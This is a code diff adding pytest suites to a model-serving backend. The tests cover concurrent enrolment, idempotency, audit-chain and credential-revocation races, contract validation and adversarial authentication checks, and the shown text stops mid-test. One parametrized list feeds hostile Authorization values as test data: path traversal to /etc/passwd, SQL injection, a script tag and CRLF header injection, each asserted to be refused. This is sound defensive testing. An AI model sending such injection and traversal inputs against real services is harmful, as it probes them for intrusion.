+    Base.metadata.create_all(value)
+    return value
+
+
+def settings() -> Settings:
+    return Settings(
+        _env_file=None,
+        operator_api_key=SecretStr("m16-operator-key"),
+        node_stale_after_seconds=10,
+        node_offline_after_seconds=20,
+    )
+
+
+def metadata() -> AgentMetadata:
+    return AgentMetadata(
+        agent_version="0.1.0",
+        protocol_version=1,
+        supported_capabilities=AGENT_PROTOCOL_CAPABILITIES,
+        started_at=datetime.now(UTC),
+    )
+
+
+def run_concurrently(
+    worker: Callable[[int], Any], count: int, *, max_workers: int | None = None
+) -> list[Any]:
+    """Start every worker at the same moment so they actually contend."""
+
+    barrier = threading.Barrier(count)
+
+    def wrapped(index: int) -> Any:
+        barrier.wait(timeout=30)
+        return worker(index)
+
+    with ThreadPoolExecutor(max_workers=max_workers or count) as pool:
+        return list(pool.map(wrapped, range(count)))
+
+
+# --------------------------------------------------------------------- enrolment storm
+
+
+@pytest.mark.parametrize("attempts", [20, 60])
+def test_a_single_use_enrolment_token_survives_a_concurrent_storm(
+    engine: Engine, attempts: int
+) -> None:
+    """M15 closed this race for two threads; M16 proves it holds at storm scale."""
+
+    with Session(engine) as session:
+        created = NodeAgentService(session, settings()).create_enrollment(
+            EnrollmentTokenCreate(display_name="Storm target")
+        )
+    token = created.enrollment_token
+
+    def attempt(index: int) -> str:
+        with Session(engine) as session:
+            service = NodeAgentService(session, settings())
+            try:
+                service.enroll(
+                    EnrollmentRequest(
+                        enrollment_token=token,
+                        identity_key=f"storm-node-{index}",
+                        identity_source="persisted_uuid",
+                        hostname=f"storm-{index}",
+                        display_name=f"storm-{index}",
+                        metadata=metadata(),
+                    )
+                )
+                return "ENROLLED"
+            except AgentAuthenticationError:
+                return "REFUSED"
+            except (IntegrityError, OperationalError):
+                # A database-level refusal is still a refusal; what matters is that it is not a
+                # second successful identity.
+                session.rollback()
+                return "REFUSED"
+
+    outcomes = run_concurrently(attempt, attempts)
+    assert outcomes.count("ENROLLED") == 1, outcomes
+    assert outcomes.count("REFUSED") == attempts - 1
+
+    with Session(engine) as session:
+        assert session.scalar(select(func.count()).select_from(ComputeNode)) == 1
+        active = session.scalar(
+            select(func.count()).select_from(NodeCredential).where(NodeCredential.revoked_at.is_(None))
+        )
+        assert active == 1
+        enrollment = session.scalar(select(NodeEnrollment))
+        assert enrollment is not None
+        assert enrollment.used_at is not None
+        assert enrollment.enrolled_node_id is not None
+        report = check_invariants(session)
+        assert report.violated == 0, [
+            item.key for item in report.results if item.status is InvariantStatus.VIOLATED
+        ]
+
+
+def test_managed_postgresql_claim_and_revocation_linearize_on_the_row_lock() -> None:
+    """Managed gate for the PostgreSQL row-lock semantics SQLite cannot reproduce.
+
+    Set MODELFORGE_TEST_POSTGRES_URL to an isolated, disposable PostgreSQL database. The test
+    creates and removes one UUID-named schema, pauses enrolment after its conditional claim has
+    acquired the row lock, then proves a concurrent revocation loses after the claim commits.
+    """
+
+    database_url = os.getenv("MODELFORGE_TEST_POSTGRES_URL")
+    if not database_url:
+        pytest.skip("requires managed MODELFORGE_TEST_POSTGRES_URL")
+    if not database_url.startswith(("postgresql://", "postgresql+psycopg://")):
+        pytest.fail("MODELFORGE_TEST_POSTGRES_URL must use PostgreSQL")
+    if database_url.startswith("postgresql://"):
+        database_url = database_url.replace("postgresql://", "postgresql+psycopg://", 1)
+
+    schema = f"test_enrollment_linearization_{uuid.uuid4().hex}"
+    admin_engine = create_engine(database_url, pool_pre_ping=True)
+    with admin_engine.begin() as connection:
+        connection.execute(text(f'CREATE SCHEMA "{schema}"'))
+    engine = create_engine(
+        database_url,
+        pool_pre_ping=True,
+        connect_args={"options": f"-csearch_path={schema}"},
+    )
+    claim_written = threading.Event()
+    allow_claim_commit = threading.Event()
+    revoke_update_started = threading.Event()
+
+    @event.listens_for(engine, "before_cursor_execute")
+    def _observe_revoke_update(
+        _connection: Any,
+        _cursor: Any,
+        statement: str,
+        _parameters: Any,
+        _context: Any,
+        _executemany: bool,
+    ) -> None:
+        normalized = statement.lower()
+        if normalized.startswith("update node_enrollments set revoked_at"):
+            revoke_update_started.set()
+
+    try:
+        Base.metadata.create_all(engine)
+        with Session(engine) as session:
+            created = NodeAgentService(session, settings()).create_enrollment(
+                EnrollmentTokenCreate(display_name="PostgreSQL row-lock target")
+            )
+        enrollment_id = uuid.UUID(created.id)
+
+        def claim() -> str:
+            with Session(engine) as session:
+                service = NodeAgentService(session, settings())
+                original_claim = service._claim_enrollment
+
+                def claim_then_pause(
+                    *, enrollment_id: uuid.UUID, token_hash: str, claim_now: datetime
+                ) -> bool:
+                    won = original_claim(
+                        enrollment_id=enrollment_id,
+                        token_hash=token_hash,
+                        claim_now=claim_now,
+                    )
+                    if won:
+                        claim_written.set()
+                        if not allow_claim_commit.wait(timeout=30):
+                            raise RuntimeError("timed out while holding enrollment claim")
+                    return won
+
+                service._claim_enrollment = claim_then_pause  # type: ignore[method-assign]
+                response = service.enroll(
+                    EnrollmentRequest(
+                        enrollment_token=created.enrollment_token,
+                        identity_key="postgres-race-node",
+                        identity_source="persisted_uuid",
+                        hostname="postgres-race-node",
+                        display_name="postgres-race-node",
+                        metadata=metadata(),
+                    )
+                )
+                return response.credential_id
+
+        def revoke() -> str:
+            with Session(engine) as session:
+                try:
+                    NodeAgentService(session, settings()).revoke_enrollment(enrollment_id)
+                except AgentConflictError:
+                    return "CONFLICT"
+                return "REVOKED"
+
+        with ThreadPoolExecutor(max_workers=2) as pool:
+            claim_future = pool.submit(claim)
+            revoke_future = None
+            try:
+                assert claim_written.wait(timeout=30), "claim never acquired its row lock"
+                revoke_future = pool.submit(revoke)
+                assert revoke_update_started.wait(timeout=30), "revoke UPDATE never started"
+                assert not revoke_future.done(), "revoke did not wait for the claim row lock"
+            finally:
+                allow_claim_commit.set()
+            credential_id = claim_future.result(timeout=30)
+            assert revoke_future is not None
+            assert revoke_future.result(timeout=30) == "CONFLICT"
+
+        with Session(engine) as session:
+            enrollment = session.get(NodeEnrollment, enrollment_id)
+            credential = session.get(NodeCredential, uuid.UUID(credential_id))
+            assert enrollment is not None and enrollment.used_at is not None
+            assert enrollment.revoked_at is None
+            assert credential is not None and credential.revoked_at is None
+            assert (
+                session.scalar(
+                    select(func.count())
+                    .select_from(NodeCredential)
+                    .where(NodeCredential.revoked_at.is_(None))
+                )
+                == 1
+            )
+            assert (
+                session.scalar(
+                    select(func.count())
+                    .select_from(AuditEvent)
+                    .where(AuditEvent.action == "NODE_ENROLLMENT_TOKEN_REVOKED")
+                )
+                == 0
+            )
+    finally:
+        allow_claim_commit.set()
+        engine.dispose()
+        with admin_engine.begin() as connection:
+            connection.execute(text(f'DROP SCHEMA IF EXISTS "{schema}" CASCADE'))
+        admin_engine.dispose()
+
+
+def test_a_storm_of_distinct_tokens_creates_exactly_one_node_each(engine: Engine) -> None:
+    """The guard must reject a reused token without rejecting legitimate parallel enrolments."""
+
+    count = 12
+    with Session(engine) as session:
+        service = NodeAgentService(session, settings())
+        tokens = [
+            service.create_enrollment(
+                EnrollmentTokenCreate(display_name=f"Node {index}")
+            ).enrollment_token
+            for index in range(count)
+        ]
+
+    def attempt(index: int) -> str:
+        with Session(engine) as session:
+            try:
+                NodeAgentService(session, settings()).enroll(
+                    EnrollmentRequest(
+                        enrollment_token=tokens[index],
+                        identity_key=f"parallel-node-{index}",
+                        identity_source="persisted_uuid",
+                        hostname=f"parallel-{index}",
+                        display_name=f"parallel-{index}",
+                        metadata=metadata(),
+                    )
+                )
+                return "ENROLLED"
+            except (
+                AgentAuthenticationError,
+                AgentConflictError,
+                IntegrityError,
+                OperationalError,
+            ):
+                session.rollback()
+                return "REFUSED"
+
+    outcomes = run_concurrently(attempt, count)
+    assert outcomes.count("ENROLLED") == count, outcomes
+
+    with Session(engine) as session:
+        assert session.scalar(select(func.count()).select_from(ComputeNode)) == count
+        assert (
+            session.scalar(
+                select(func.count())
+                .select_from(NodeCredential)
+                .where(NodeCredential.revoked_at.is_(None))
+            )
+            == count
+        )
+        assert check_invariants(session).violated == 0
+
+
+def test_re_enrolment_of_one_identity_under_load_keeps_one_active_credential(
+    engine: Engine,
+) -> None:
+    """Repeated re-enrolment of the same hardware must never leave two usable credentials."""
+
+    identity = "gpu_node-hardware"
+    rounds = 8
+    with Session(engine) as session:
+        service = NodeAgentService(session, settings())
+        tokens = [
+            service.create_enrollment(
+                EnrollmentTokenCreate(display_name="GPU Node")
+            ).enrollment_token
+            for _ in range(rounds)
+        ]
+
+    def attempt(index: int) -> str:
+        with Session(engine) as session:
+            try:
+                NodeAgentService(session, settings()).enroll(
+                    EnrollmentRequest(
+                        enrollment_token=tokens[index],
+                        identity_key=identity,
+                        identity_source="persisted_uuid",
+                        hostname="gpu_node",
+                        display_name="GPU Node",
+                        metadata=metadata(),
+                    )
+                )
+                return "ENROLLED"
+            except (
+                AgentAuthenticationError,
+                AgentConflictError,
+                IntegrityError,
+                OperationalError,
+            ):
+                session.rollback()
+                return "REFUSED"
+
+    outcomes = run_concurrently(attempt, rounds)
+    assert "ENROLLED" in outcomes
+
+    with Session(engine) as session:
+        nodes = list(session.scalars(select(ComputeNode)))
+        assert len(nodes) == 1
+        assert nodes[0].key == identity
+        active = list(
+            session.scalars(select(NodeCredential).where(NodeCredential.revoked_at.is_(None)))
+        )
+        assert len(active) == 1
+        report = check_invariants(session)
+        assert report.violated == 0
+
+
+# --------------------------------------------------------------------- idempotency storm
+
+
+def test_the_same_idempotency_key_in_parallel_produces_one_logical_operation(
+    engine: Engine,
+) -> None:
+    """A retried request under load must converge on one row, not many."""
+
+    from modelforge_api.persistence.models import ServingJob
+
+    key = uuid.uuid4().hex
+    deployment = uuid.uuid4()
+    node = uuid.uuid4()
+    attempts = 24
+
+    def attempt(_index: int) -> str:
+        with Session(engine) as session:
+            existing = session.scalar(
+                select(ServingJob).where(ServingJob.idempotency_key == key)
+            )
+            if existing is not None:
+                return "REUSED"
+            session.add(
+                ServingJob(
+                    capability_deployment_id=deployment,
+                    compute_node_id=node,
+                    operation="invoke",
+                    status="queued",
+                    priority="production",
+                    idempotency_key=key,
+                )
+            )
+            try:
+                session.commit()
+                return "CREATED"
+            except (IntegrityError, OperationalError):
+                session.rollback()
+                return "REUSED"
+
+    outcomes = run_concurrently(attempt, attempts)
+    assert outcomes.count("CREATED") >= 1
+
+    with Session(engine) as session:
+        rows = session.scalar(
+            select(func.count()).select_from(ServingJob).where(ServingJob.idempotency_key == key)
+        )
+        assert rows == 1, f"{outcomes.count('CREATED')} creators produced {rows} rows"
+
+
+# --------------------------------------------------------------------- audit-chain serialization
+
+
+def test_concurrent_audit_appends_form_one_strict_chain(engine: Engine) -> None:
+    attempts = 24
+
+    def append(index: int) -> int:
+        with Session(engine) as session:
+            event = AuditWriter(session, "operator", f"writer-{index}").write(
+                "CONCURRENT_APPEND",
+                "audit-test",
+                str(index),
+                {"attempt": index},
+            )
+            session.commit()
+            return event.sequence
+
+    sequences = run_concurrently(append, attempts)
+    assert sorted(sequences) == list(range(1, attempts + 1))
+
+    with Session(engine) as session:
+        events = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+        assert len(events) == attempts
+        assert audit_chain_violations(events, session.get(AuditChainHead, 1)) == []
+        result = next(
+            item
+            for item in check_invariants(session).results
+            if item.key == "audit_chain_intact"
+        )
+        assert result.status is InvariantStatus.HOLDS
+
+
+# --------------------------------------------------------------------- credential races
+
+
+def test_concurrent_revocation_and_authentication_never_accepts_a_revoked_credential(
+    engine: Engine,
+) -> None:
+    """Whichever order the race resolves in, a revoked credential must never authenticate."""
+
+    with Session(engine) as session:
+        service = NodeAgentService(session, settings())
+        created = service.create_enrollment(EnrollmentTokenCreate(display_name="Race target"))
+        response = service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key="race-node",
+                identity_source="persisted_uuid",
+                hostname="race",
+                display_name="race",
+                metadata=metadata(),
+            )
+        )
+        credential = response.node_credential
+        node_id = session.scalar(select(ComputeNode.id))
+
+    results: list[str] = []
+    lock = threading.Lock()
+
+    def authenticate(_index: int) -> None:
+        with Session(engine) as session:
+            try:
+                NodeAgentService(session, settings()).authenticate(f"Bearer {credential}")
+                outcome = "ACCEPTED"
+            except AgentAuthenticationError:
+                outcome = "REFUSED"
+            except (IntegrityError, OperationalError):
+                session.rollback()
+                outcome = "REFUSED"
+        with lock:
+            results.append(outcome)
+
+    def revoke(_index: int) -> None:
+        with Session(engine) as session:
+            try:
+                NodeAgentService(session, settings()).revoke_credential(node_id)
+            except (IntegrityError, OperationalError):
+                session.rollback()
+
+    def worker(index: int) -> None:
+        if index == 0:
+            revoke(index)
+        else:
+            authenticate(index)
+
+    run_concurrently(worker, 16)
+
+    with Session(engine) as session:
+        stored = session.scalar(select(NodeCredential))
+        assert stored is not None
+        assert stored.revoked_at is not None
+        with pytest.raises(AgentAuthenticationError):
+            NodeAgentService(session, settings()).authenticate(f"Bearer {credential}")
+        report = check_invariants(session)
+        assert report.violated == 0
+
+
+def test_authentication_after_revocation_is_refused_for_every_attempt(engine: Engine) -> None:
+    """No window exists in which a revoked credential is intermittently accepted."""
+
+    with Session(engine) as session:
+        service = NodeAgentService(session, settings())
+        created = service.create_enrollment(EnrollmentTokenCreate(display_name="Revoked target"))
+        response = service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key="revoked-node",
+                identity_source="persisted_uuid",
+                hostname="revoked",
+                display_name="revoked",
+                metadata=metadata(),
+            )
+        )
+        credential = response.node_credential
+        service.revoke_credential(session.scalar(select(ComputeNode.id)))
+
+    def attempt(_index: int) -> str:
+        with Session(engine) as session:
+            try:
+                NodeAgentService(session, settings()).authenticate(f"Bearer {credential}")
+                return "ACCEPTED"
+            except AgentAuthenticationError:
+                return "REFUSED"
+
+    outcomes = run_concurrently(attempt, 24)
+    assert set(outcomes) == {"REFUSED"}, outcomes
+
+
+# --------------------------------------------------------------------- invariants under load
+
+
+def test_invariants_stay_readable_while_the_database_is_being_written(engine: Engine) -> None:
+    """The safety check must not need a quiet system to answer."""
+
+    stop = threading.Event()
+
+    def writer() -> None:
+        index = 0
+        while not stop.is_set() and index < 200:
+            with Session(engine) as session:
+                session.add(ComputeNode(key=f"writer-{index}", hostname=f"writer-{index}"))
+                try:
+                    session.commit()
+                except (IntegrityError, OperationalError):
+                    session.rollback()
+            index += 1
+
+    thread = threading.Thread(target=writer)
+    thread.start()
+    try:
+        for _ in range(15):
+            with Session(engine) as session:
+                report = check_invariants(session)
+                assert report.checked == 16
+                assert report.violated == 0
+    finally:
+        stop.set()
+        thread.join(timeout=30)

backend/tests/test_contracts.py

@@ -0,0 +1,133 @@
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from pydantic import ValidationError
+
+from modelforge_api.domain.contracts import (
+    ArtifactProvenance,
+    BenchmarkEnvironmentFingerprint,
+    CapabilityContractManifest,
+    MigrationContract,
+    ProjectBindingManifest,
+    RuntimeProfileContract,
+)
+from modelforge_api.domain.enums import MigrationStatus, UpgradeClass
+
+
+def minimal_embedding_contract(**overrides):
+    payload = {
+        "capability": "rag.embedding",
+        "version": 1,
+        "description": "test",
+        "input_schema": {"type": "object"},
+        "output_schema": {"type": "object"},
+        "modalities": {"input": ["text"], "output": ["vector"]},
+        "vector": {"cross_deployment_compatible": False},
+        "quality_metrics": ["recall_at_5"],
+        "upgrade_class": "requires_reindex",
+        "production_priority": "production",
+        "default_residency": "keep_warm",
+        "estate": {
+            "category": "RAG",
+            "purpose": "test retrieval",
+            "stability": "experimental",
+            "resource_class": "LIGHT",
+            "evaluation_type": "retrieval",
+            "consumers": [],
+            "payload_limits": {"max_bytes": 1024},
+        },
+    }
+    payload.update(overrides)
+    return payload
+
+
+def test_embedding_contract_requires_reindex_when_spaces_are_not_compatible() -> None:
+    CapabilityContractManifest.model_validate(minimal_embedding_contract())
+    with pytest.raises(ValidationError, match="requires_reindex"):
+        CapabilityContractManifest.model_validate(
+            minimal_embedding_contract(upgrade_class="transparent")
+        )
+
+
+def test_project_binding_rejects_concrete_model_fields() -> None:
+    with pytest.raises(ValidationError):
+        ProjectBindingManifest.model_validate(
+            {
+                "contract_version": 1,
+                "channel": "stable",
+                "priority": "production",
+                "model_id": "vendor/model",
+            }
+        )
+
+
+def test_artifact_provenance_validates_digest_and_derived_lineage() -> None:
+    digest = "a" * 64
+    provenance = ArtifactProvenance(
+        upstream_repository="org/model",
+        resolved_commit_sha="b" * 40,
+        filename="model.safetensors",
+        artifact_type="weights",
+        sha256=digest,
+    )
+    assert provenance.sha256 == digest
+    with pytest.raises(ValidationError, match="derivation tool"):
+        ArtifactProvenance(
+            upstream_repository="org/model",
+            resolved_commit_sha="b" * 40,
+            filename="model.gguf",
+            artifact_type="weights",
+            sha256="c" * 64,
+            source_artifact_sha256=digest,
+        )
+
+
+def test_runtime_profile_security_defaults_and_stable_fingerprint() -> None:
+    profile = RuntimeProfileContract(
+        runtime_type="llama_cpp",
+        runtime_version="1.0",
+        artifact_sha256="a" * 64,
+    )
+    assert profile.trust_remote_code is False
+    assert profile.network_egress is False
+    assert profile.fingerprint == profile.fingerprint
+
+
+def test_benchmark_comparability_detects_runtime_or_hardware_change() -> None:
+    base = BenchmarkEnvironmentFingerprint(
+        runtime_type="vllm",
+        runtime_version="1",
+        runtime_image_digest=None,
+        launch_arguments={},
+        cuda_version="13",
+        driver_version="600",
+        accelerator_name="GPU A",
+        accelerator_uuid="gpu-1",
+        context_length=4096,
+        concurrency=1,
+        seed=42,
+        operating_system="linux",
+    )
+    changed = base.model_copy(update={"driver_version": "601"})
+    assert base.comparable_with(base)
+    assert not base.comparable_with(changed)
+
+
+def test_embedding_migration_requires_distinct_shadow_and_reindex() -> None:
+    now = datetime.now(UTC)
+    valid = MigrationContract(
+        project_id="examplerag",
+        capability="rag.embedding",
+        source_deployment_id="old",
+        target_deployment_id="new",
+        upgrade_class=UpgradeClass.REQUIRES_REINDEX,
+        current_index_ref="index-v1",
+        shadow_index_ref="index-v2-shadow",
+        status=MigrationStatus.PLANNED,
+        rollback_retain_until=now + timedelta(days=7),
+    )
+    assert valid.shadow_index_ref != valid.current_index_ref
+    with pytest.raises(ValidationError, match="requires_reindex"):
+        valid.model_copy(
+            update={"upgrade_class": UpgradeClass.TRANSPARENT}, deep=True
+        ).model_validate({**valid.model_dump(), "upgrade_class": "transparent"})

backend/tests/test_credential_security_m16.py

@@ -0,0 +1,414 @@
+"""M16 credential and authentication adversarial tests.
+
+Every question here is the one an attacker asks: what happens with no credential, a malformed one,
+a revoked one, a rotated one, one scoped to a different capability, one belonging to a different
+project, a node credential on an operator route, a capability credential on a lifecycle route.
+
+The expected answer is always the same shape — refused, with the same error code, revealing
+nothing about why.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import uuid
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from pydantic import SecretStr
+from sqlalchemy import create_engine, select
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.persistence.models import (
+    Base,
+    Capability,
+    CapabilityContract,
+    Project,
+    ProjectBinding,
+    ServiceClient,
+    ServiceCredential,
+)
+from modelforge_api.services.manifest_registry import ManifestRegistry
+from modelforge_api.services.serving import ServingError, ServingService
+from modelforge_api.services.transient_payloads import MemoryPayloadStore
+from modelforge_api.settings import Settings
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def settings() -> Settings:
+    return Settings(_env_file=None, operator_api_key=SecretStr("m16-operator-key"))
+
+
+def service(session: Session) -> ServingService:
+    return ServingService(session, settings(), ManifestRegistry(), MemoryPayloadStore())
+
+
+def _now() -> datetime:
+    return datetime.now(UTC)
+
+
+def make_contract(session: Session, key: str, version: int = 1) -> CapabilityContract:
+    capability = session.scalar(select(Capability).where(Capability.key == key))
+    if capability is None:
+        capability = Capability(key=key, description=key)
+        session.add(capability)
+        session.flush()
+    contract = CapabilityContract(
+        capability_id=capability.id,
+        version=version,
+        input_schema={},
+        output_schema={},
+        contract={},
+        upgrade_class="behavioral",
+    )
+    session.add(contract)
+    session.flush()
+    return contract
+
+
+def make_client(
+    session: Session,
+    *,
+    name: str,
+    capabilities: list[str],
+    binding: ProjectBinding | None = None,
+    status: str = "active",
+) -> tuple[ServiceClient, str]:
+    client = ServiceClient(
+        name=name,
+        status=status,
+        allowed_capabilities=capabilities,
+        requests_per_minute=600,
+        max_concurrent_requests=32,
+        workload_priority="production",
+        integration_environment="LAB",
+        purpose="M16 adversarial credential test",
+        project_binding_id=binding.id if binding else None,
+    )
+    session.add(client)
+    session.flush()
+    secret = f"mfsvc_{uuid.uuid4().hex}{uuid.uuid4().hex}"
+    session.add(
+        ServiceCredential(
+            service_client_id=client.id,
+            secret_hash=hashlib.sha256(secret.encode()).hexdigest(),
+            secret_prefix=secret[:12],
+        )
+    )
+    session.commit()
+    return client, secret
+
+
+def make_binding(session: Session, contract: CapabilityContract, project_key: str) -> ProjectBinding:
+    project = Project(key=project_key, name=project_key, description=project_key)
+    session.add(project)
+    session.flush()
+    binding = ProjectBinding(
+        project_id=project.id,
+        capability_contract_id=contract.id,
+        channel="stable",
+        priority="production",
+    )
+    session.add(binding)
+    session.commit()
+    return binding
+
+
+# --------------------------------------------------------------------- missing and malformed
+
+
+@pytest.mark.parametrize(
+    "authorization",
+    [
+        None,
+        "",
+        "   ",
+        "Bearer",
+        "Bearer ",
+        "Bearer    ",
+        "Basic dXNlcjpwYXNz",
+        "bearer lowercase-scheme",
+        "mfsvc_no_scheme_at_all",
+        "Bearer \x00nullbyte",
+        "Bearer " + "a" * 10000,
+        "Bearer ../../etc/passwd",
+        "Bearer ' OR '1'='1",
+        "Bearer <script>alert(1)</script>",
+        "Bearer \n\rinjected: header",
+    ],
+)
+def test_a_missing_or_malformed_credential_is_refused(
+    session: Session, authorization: str | None
+) -> None:
+    make_contract(session, "rag.embedding")
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(authorization, "rag.embedding@1")
+    assert error.value.status_code == 401
+    assert error.value.code == "CAPABILITY_NOT_AUTHORIZED"
+
+
+def test_every_invalid_credential_returns_the_same_code_and_status(session: Session) -> None:
+    """A different message for 'unknown' and 'revoked' is a token-enumeration oracle."""
+
+    make_contract(session, "rag.embedding")
+    _client, secret = make_client(
+        session, name="probe", capabilities=["rag.embedding@1"]
+    )
+    revoked_client, revoked_secret = make_client(
+        session, name="revoked", capabilities=["rag.embedding@1"]
+    )
+    credential = session.scalar(
+        select(ServiceCredential).where(ServiceCredential.service_client_id == revoked_client.id)
+    )
+    assert credential is not None
+    credential.revoked_at = _now()
+    session.commit()
+
+    outcomes = set()
+    for authorization in (
+        "Bearer unknown-credential-value",
+        f"Bearer {revoked_secret}",
+        f"Bearer {secret[:-1]}x",
+        "Bearer ",
+    ):
+        with pytest.raises(ServingError) as error:
+            service(session).authenticate(authorization, "rag.embedding@1")
+        outcomes.add((error.value.status_code, error.value.code))
+    assert outcomes == {(401, "CAPABILITY_NOT_AUTHORIZED")}
+
+
+def test_a_valid_credential_still_works_after_a_burst_of_invalid_ones(session: Session) -> None:
+    make_contract(session, "rag.embedding")
+    _client, secret = make_client(session, name="survivor", capabilities=["rag.embedding@1"])
+
+    for index in range(50):
+        with pytest.raises(ServingError):
+            service(session).authenticate(f"Bearer invalid-{index}", "rag.embedding@1")
+
+    assert service(session).authenticate(f"Bearer {secret}", "rag.embedding@1").name == "survivor"
+
+
+# --------------------------------------------------------------------- scope isolation
+
+
+def test_a_vision_client_cannot_invoke_speech_transcription(session: Session) -> None:
+    """The ExampleVision Vision client must not reach ASR because both happen to be LAB."""
+
+    make_contract(session, "vision.embedding")
+    make_contract(session, "speech.transcription")
+    _client, secret = make_client(
+        session, name="examplevision-vision", capabilities=["vision.embedding@1"]
+    )
+
+    assert service(session).authenticate(f"Bearer {secret}", "vision.embedding@1")
+
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "speech.transcription@1")
+    assert error.value.status_code == 403
+    assert error.value.code == "CAPABILITY_NOT_AUTHORIZED"
+
+
+def test_a_speech_client_cannot_invoke_vision(session: Session) -> None:
+    make_contract(session, "vision.embedding")
+    make_contract(session, "speech.transcription")
+    _client, secret = make_client(
+        session, name="asr-consumer", capabilities=["speech.transcription@1"]
+    )
+
+    assert service(session).authenticate(f"Bearer {secret}", "speech.transcription@1")
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "vision.embedding@1")
+    assert error.value.status_code == 403
+
+
+def test_a_client_cannot_reach_a_different_contract_version(session: Session) -> None:
+    make_contract(session, "rag.embedding", version=1)
+    make_contract(session, "rag.embedding", version=2)
+    _client, secret = make_client(session, name="v1-only", capabilities=["rag.embedding@1"])
+
+    assert service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "rag.embedding@2")
+    assert error.value.status_code == 403
+
+
+@pytest.mark.parametrize(
+    "capability",
+    [
+        "admin.recovery",
+        "admin.lifecycle",
+        "node.publish",
+        "node.enroll",
+        "operator",
+        "rag.embedding@1 rag.reranking@1",
+        "RAG.EMBEDDING@1",
+        "rag.embedding@1\u200b",
+    ],
+)
+def test_a_client_cannot_escalate_by_naming_another_scope(
+    session: Session, capability: str
+) -> None:
+    """Scope matching is exact; case, whitespace and zero-width tricks do not widen it."""
+
+    make_contract(session, "rag.embedding")
+    _client, secret = make_client(session, name="scoped", capabilities=["rag.embedding@1"])
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", capability)
+    assert error.value.status_code == 403
+
+
+# --------------------------------------------------------------------- cross project
+
+
+def test_one_project_credential_cannot_serve_another_projects_binding(session: Session) -> None:
+    contract_a = make_contract(session, "rag.embedding")
+    contract_b = make_contract(session, "vision.embedding")
+    binding_a = make_binding(session, contract_a, "examplerag")
+    make_binding(session, contract_b, "examplevision")
+
+    _client, secret = make_client(
+        session,
+        name="examplerag-client",
+        capabilities=["rag.embedding@1", "vision.embedding@1"],
+        binding=binding_a,
+    )
+
+    assert service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "vision.embedding@1")
+    assert error.value.status_code == 403
+    assert error.value.code == "PROJECT_CAPABILITY_NOT_BOUND"
+
+
+def test_a_deprecated_project_binding_stops_serving(session: Session) -> None:
+    contract = make_contract(session, "rag.embedding")
+    binding = make_binding(session, contract, "examplerag")
+    _client, secret = make_client(
+        session, name="bound", capabilities=["rag.embedding@1"], binding=binding
+    )
+    assert service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+
+    binding.deprecated_at = _now()
+    session.commit()
+
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+    assert error.value.status_code == 403
+    assert error.value.code == "PROJECT_CAPABILITY_NOT_BOUND"
+
+
+# --------------------------------------------------------------------- revocation and rotation
+
+
+def test_a_revoked_credential_is_refused_immediately_and_permanently(session: Session) -> None:
+    make_contract(session, "rag.embedding")
+    client, secret = make_client(session, name="revoked", capabilities=["rag.embedding@1"])
+    assert service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+
+    credential = session.scalar(
+        select(ServiceCredential).where(ServiceCredential.service_client_id == client.id)
+    )
+    assert credential is not None
+    credential.revoked_at = _now()
+    session.commit()
+
+    for _ in range(5):
+        with pytest.raises(ServingError) as error:
+            service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+        assert error.value.status_code == 401
+
+
+def test_an_expired_credential_is_refused(session: Session) -> None:
+    make_contract(session, "rag.embedding")
+    client, secret = make_client(session, name="expiring", capabilities=["rag.embedding@1"])
+    credential = session.scalar(
+        select(ServiceCredential).where(ServiceCredential.service_client_id == client.id)
+    )
+    assert credential is not None
+    credential.expires_at = _now() - timedelta(seconds=1)
+    session.commit()
+
+    with pytest.raises(ServingError) as error:
+        service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+    assert error.value.status_code == 401
+
+
+def test_rotation_leaves_exactly_one_usable_secret(session: Session) -> None:
+    """Two simultaneously valid secrets is an unbounded window, not a graceful cutover."""
+
+    make_contract(session, "rag.embedding")
+    client, old_secret = make_client(session, name="rotating", capabilities=["rag.embedding@1"])
+    assert service(session).authenticate(f"Bearer {old_secret}", "rag.embedding@1")
+
+    old = session.scalar(
+        select(ServiceCredential).where(ServiceCredential.service_client_id == client.id)
+    )
+    assert old is not None
+    old.revoked_at = _now()
+    new_secret = f"mfsvc_{uuid.uuid4().hex}{uuid.uuid4().hex}"
+    session.add(
+        ServiceCredential(
+            service_client_id=client.id,
+            secret_hash=hashlib.sha256(new_secret.encode()).hexdigest(),
+            secret_prefix=new_secret[:12],
+        )
+    )
+    session.commit()
+
+    with pytest.raises(ServingError):
+        service(session).authenticate(f"Bearer {old_secret}", "rag.embedding@1")
+    assert service(session).authenticate(f"Bearer {new_secret}", "rag.embedding@1").id == client.id
+
+    usable = session.scalars(
+        select(ServiceCredential).where(
+            ServiceCredential.service_client_id == client.id,
+            ServiceCredential.revoked_at.is_(None),
+        )
+    ).all()
+    assert len(usable) == 1
+
+
+def test_a_disabled_client_cannot_serve_even_with_a_valid_secret(session: Session) -> None:
+    make_contract(session, "rag.embedding")
+    client, secret = make_client(session, name="disabled", capabilities=["rag.embedding@1"])
+    client.status = "disabled"
+    client.disabled_at = _now()
+    session.commit()
+
+    with pytest.raises(ServingError) as error:
